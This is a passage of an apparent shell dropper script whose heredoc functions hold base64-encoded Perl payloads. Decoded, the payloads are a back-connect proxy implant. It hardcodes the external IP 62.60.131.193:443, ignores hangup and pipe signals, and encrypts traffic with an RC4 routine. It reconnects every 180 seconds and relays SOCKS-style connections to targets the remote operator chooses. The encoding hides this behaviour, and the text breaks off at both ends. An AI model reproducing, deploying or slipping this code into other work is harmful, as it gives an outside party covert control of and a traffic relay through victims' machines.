ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_45() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTMnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ 